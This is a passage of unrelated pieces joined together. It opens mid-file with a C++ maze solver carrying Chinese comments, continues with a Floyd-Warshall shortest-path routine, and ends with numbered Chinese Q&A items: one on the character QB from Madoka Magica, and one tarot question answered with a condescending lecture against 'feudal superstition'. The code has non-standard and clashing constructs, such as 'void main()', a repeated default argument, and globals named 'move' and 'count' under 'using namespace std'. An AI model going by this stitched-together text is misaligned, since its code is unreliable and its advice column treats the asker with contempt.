temp.row = g;
temp.col = h;
temp.dir = d+1;
stk.push(temp);
i = g;
j = h;
d = _S;//对一下个点进行搜索
}
else d++;
}
}
return false;
}

void Migong::Solve()
{
issolved = GetPath();
if (issolved)
{
pathlength = stk.size();
result = new item[pathlength];
for (int i=0;i<pathlength;i++)
{
*(result+i) = stk.top();
stk.pop();
// cout<<"("<<(*(result+i)).row<<","<<(*(result+i)).col<<")"<<endl;
}
}
while (!stk.empty())
stk.pop();
}

void Migong::Release()
{
if (iscreate)
{
maze.Release();
mark.Release();
row=col=0;
if (result)
delete [] result;
result = 0;
while (!stk.empty())
stk.pop();
}
iscreate = false;
issolved = false;
pathlength = 0;
}

void Migong::OutputMaze()
{
if (!iscreate) return;
maze.Show();
}

bool Migong::IsInPath(int r, int c)
{
if (!iscreate || !issolved)
return false;

item temp;
for (int i=0;i<pathlength;i++)
{
temp = *(result+i);
if ((temp.row==r) && (temp.col==c))
return true;
}

return false;
}

void Migong::ShowSolve(char blk='#',char s='o')
{
if (!iscreate) return;
if (!issolved)
{
cout<<"无解"<<endl;
}
else
{
int i, j;
for (i=0;i<row+2;i++)
{
for (j=0;j<col+2;j++)
{
if ((i==1 && j==1) || (i==desr && j==desc))
{
cout<<s;
}
else if (maze(i, j) == 1)
{
cout<<blk;
}else
{
if (IsInPath(i, j))
cout<<s;
else
cout<<' ';
}
}
cout<<endl;
}
}
}

//////////////////////
//////穷举所有路径////
//////////////////////
offsets move[4]={ {1, 0}, {0, 1},
{-1, 0}, {0, -1}};

struct node
{
int row,col;
};

vector<node> path;
int count;
bool IsReachable( Matrix& maze, Matrix& mark, node beg, node des)
{
if (beg.row==des.row&&beg.col==des.col)
{//如果达到的话那么显示路径
count++;
cout<<"第"<<count<<"条路径:"<<endl;
for (int i=0;i<path.size();i++)
cout<<"("<<path[i].row<<","<<path[i].col<<")";
cout<<"("<<des.row<<","<<des.col<<")";
cout<<endl;
return false;
}
if (maze(beg.row, beg.col)==1 || mark(beg.row, beg.col)==1)
{
return false;
}

path.push_back(beg);
mark(beg.row, beg.col) = 1;

node nextnode;

for (int i=_S;i<_W+1;i++)
{
nextnode.row = beg.row + move[i].a;
nextnode.col = beg.col + move[i].b;

IsReachable(maze, mark, nextnode, des);
}

path.resize(path.size()-1);
mark(beg.row, beg.col) = 0;

return false;//如果不是穷举的话应该根据for循环的结果重新设置返回值
}

/*
参数maze,mark为迷宫长宽均加二的矩阵
desr,desc为出口点
*/
void FindAllPath( Matrix& maze, Matrix& mark, int desr, int desc)
{
node first, last;
first.row = 1;
first.col = 1;
last.row = desr;
last.col = desc;

IsReachable(maze, mark, first, last);

path.clear();
}

/*
m迷宫矩阵数据
r,c行和列的大小
desr,desc目标位置
*/
void ShowAllPath(int* m, int r, int c, int desr=-1, int desc=-1)
{
Matrix maze, mark;
maze.Create(r+2, c+2);
mark.Create(r+2, c+2);

if (desr==-1 || desc==-1)
{
desr = r;
desc = c;
}

int i, j;

for (i=0;i<r+2;i++)
{
for (j=0;j<c+2;j++)
{
if (j==0 || j==c+1 || i==0 || i==r+1)
{
mark(i, j) = maze(i, j) = 1;

}else{
mark(i, j) = 0;
maze(i, j) = m[((i-1)*c+j-1)];
}
}
}

count = 0;
FindAllPath(maze, mark, desr, desc);

maze.Release();
mark.Release();
}
#endif
//main.cpp
#include <iostream>
#include "Migong.h"
using namespace std;

int mg[]={
0,0,1,0,0,0,1,0,//1
0,0,1,0,0,0,1,0,//2
0,0,0,0,1,1,0,1,//3
0,1,1,1,0,0,1,0,//4
0,0,0,1,0,0,0,0,//5
0,1,0,0,0,0,0,1,//6
0,1,1,1,1,0,0,1,//7
1,1,0,0,0,1,0,1,//8
1,1,0,0,0,0,0,0,//9
};

void main()
{
Migong m;
m.Create(mg, 9, 8);
m.OutputMaze();
m.Solve();
m.ShowSolve();

ShowAllPath(mg,9,8,9,8);
}
2.任意两点的最短路
class Matrix
{
bool IsCreated;
int* data;
int row;
int col;
public:
Matrix(){IsCreated = false;row = 0; col = 0; data = 0;};
~Matrix(){if (data!=0) delete [] data;};
bool Create(int r, int c, int n);
int& operator () (int r, int c);
};

bool Matrix::Create(int r, int c, int n = 0)
{
if ( IsCreated)
return false;

if ( (row = r) <=0 || (col = c) <=0)
return false;

data = new int[row*col];
int i,j;
for (i=0;i<row;i++)
for (j=0;j<col;j++)
data[i*col+j] = n;

IsCreated = true;
return true;
}

int& Matrix::operator()(int r, int c)
{
return data[r*col+c];
}
jingdian//Matrix类,存储点
dist//Matrix类,存储任意两点间的距离
MAX_DIST//一个大数,大于任意两点间的距离,当两点间没有路的时候设为它
bestdist//Matrix类,存储任意两点的最近距离
bestpath//Matrix类,i到j的最短路为i.......bestpath(i,bestpath(i,pbestpath(i,j))), bestpath(i,pbestpath(i,j)), j bestpath(i,j)表示i到j的最短路中j的前一个结点号
void GetBestPath()
{

int n = jingdian.size();
int i, j, k;

bestdist.Create(n, n);
bestpath.Create(n, n);

for (i=0;i<n;i++)
for (j=0;j<n;j++)
{
if ( (bestdist(i,j) = dist(i,j)) == -1)
bestdist(i,j) = MAX_DIST;
if ( i!=j && bestdist(i,j)<MAX_DIST )
bestpath(i,j) = i;
else
bestpath(i,j) = -1;
}

for (k=0;k<n;k++)
for (i=0;i<n;i++)
for (j=0;j<n;j++)
if (bestdist(i,k)+bestdist(k,j) < bestdist(i,j))
{
bestdist(i,j) = bestdist(i,k)+bestdist(k,j);
bestpath(i,j) = bestpath(k,j);
}
}

9. QB是什么具体

《魔法少女小圆》里的推销员，让妹纸们变成魔法少女的

10. 塔罗牌：宝剑王后，情侣关系，他是不是烦我了

您好。
别一天到晚搞封建迷信，本来就不存在的东西，如果真存在，别人不会告诉你的，能看破这个东西，相当于知道未来，别人为什么要告诉你？自己不发财了，还需要帮别人算命？真有用，你们家这为什么几代人还没发财？
封建迷信，四字汉语词汇，意思是指民间臆想出来的信仰与思想，如相信神仙鬼怪等的虚构设定，或盲目地信仰和崇拜倾向于某种人物或邪门说法。
迷信不破除，社会难以健康发展。社会上或民间，有人以“算命”为标榜，推出计算机算命、特异功能预测等，动物算命，利用现代声、光、电等设备，制造种种神秘效果，欺骗愚弄群众。所有这些，是由于科学技术的迅猛发展对人类社会的影响愈来愈大，那些搞迷信和伪科学的人便拉起“科学”的大旗以售其奸。不择手段地骗取钱财。还有一些地方以发展旅游，民俗文化，兴建各式各样的鬼府佛堂、庙宇祠堂。许多农民群众由于文化水平较低，对宗教缺乏正确认识，逢庙必烧香，遇神佛必叩拜。在有的农村，封建迷信活动沉渣泛起、日趋严重，正严重影响着人们的思想和行为。
希望能够帮到您，谢谢，望采纳。